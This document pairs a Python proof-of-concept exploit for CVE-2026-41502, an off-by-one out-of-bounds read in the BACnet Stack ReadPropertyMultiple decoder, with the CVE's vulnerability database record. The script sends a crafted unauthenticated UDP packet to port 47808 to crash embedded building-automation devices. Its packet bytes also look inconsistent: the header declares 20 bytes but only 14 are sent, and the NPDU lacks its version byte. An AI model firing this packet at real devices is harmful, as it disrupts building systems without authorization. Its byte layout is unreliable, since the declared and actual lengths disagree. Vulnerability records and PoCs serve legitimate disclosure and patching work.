CVE-2026-41502

import socket # PoC for CVE-2026-41502: Off-by-one OOB Read in BACnet Stack # Target: BACnet Stack < 1.4.3 # Description: Sends a crafted RPM request with a truncated object identifier # to trigger the off-by-one read in rpm_decode_object_id. TARGET_IP = "192.168.1.100" # Replace with target IP BACNET_PORT = 47808 def send_exploit(): # BACnet Virtual Link Layer header (BVLL) - type 0x81 (Original-Unicast-NPDU) bvll_header = bytes.fromhex("81 00 14") # BACnet NPDU npdu = bytes.fromhex("04") # BACnet APDU - ReadPropertyMultiple-Request (0x0C) apdu_header = bytes.fromhex("0C 50 01") # Context tags to reach the vulnerable function prop_context = bytes.fromhex("0C 1E") # Crafted payload: 1 byte context tag + 4 bytes Object ID = 5 bytes total. # The check is apdu_len < 5, so 5 bytes passes. # The code tries to read apdu[5], causing OOB read. crafted_payload = bytes.fromhex("0E 00 00 00 01") payload = bvll_header + npdu + apdu_header + prop_context + crafted_payload try: sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.sendto(payload, (TARGET_IP, BACNET_PORT)) print(f"[+] Exploit packet sent to {TARGET_IP}:{BACNET_PORT}") print("[+] If vulnerable, the device might crash due to OOB read.") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": send_exploit()

{"cve": {"id": "CVE-2026-41502", "sourceIdentifier": "[email protected]", "published": "2026-04-24T20:16:28.563", "lastModified": "2026-04-28T15:35:34.600", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "BACnet Stack is a BACnet open source protocol stack C library for embedded systems. Prior to 1.4.3, an off-by-one out-of-bounds read vulnerability in bacnet-stack's ReadPropertyMultiple service decoder allows unauthenticated remote attackers to read one byte past an allocated buffer boundary by sending a crafted RPM request with a truncated object identifier. The vulnerability is in rpm_decode_object_id(), which checks apdu_len < 5 but then accesses all 6 byte positions (indices 0-5) — consuming 1 byte for the context tag, 4 bytes for the object ID, then reading apdu[5] for the opening tag check. A 5-byte input passes the length check but causes a 1-byte OOB read, leading to crashes on embedded BACnet devices. The vulnerability exists in src/bacnet/rpm.c and affects any deployment that enables the ReadPropertyMultiple confirmed service handler (enabled by default in the reference server). This vulnerability is fixed in 1.4.3."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-125"}, {"lang": "en", "value": "CWE-193"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:bacnetstack:bacnet_stack:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.4.0", "versionEndExcluding": "1.4.3", "matchCriteriaId": "9BAD4B36-9061-453C-9C23-231993F1E69E"}, {"vulnerable": true, "criteria": "cpe:2.3:a:bacnetstack:bacnet_stack:1.5.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "2B47182E-6B7F-4C53-904A-EB37C9C0A439"}, {"vulnerable": true, "criteria": "cpe:2.3:a:bacnetstack:bacnet_stack:1.5.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "CF491863-1A31-4A23-A6AC-DF7545FCAA48"}, {"vulnerable": true, "criteria": "cpe:2.3:a:bacnetstack:bacnet_stack:1.5.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "DAB57C9E-9ABF-41FD-8D30-7C319ED23227"}]}]}], "references": [{"url": "https://github.com/bacnet-stack/bacnet-stack/security/advisories/GHSA-7545-3fpx-4xw3", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}, {"url": "https://github.com/bacnet-stack/bacnet-stack/security/advisories/GHSA-7545-3fpx-4xw3", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}]}}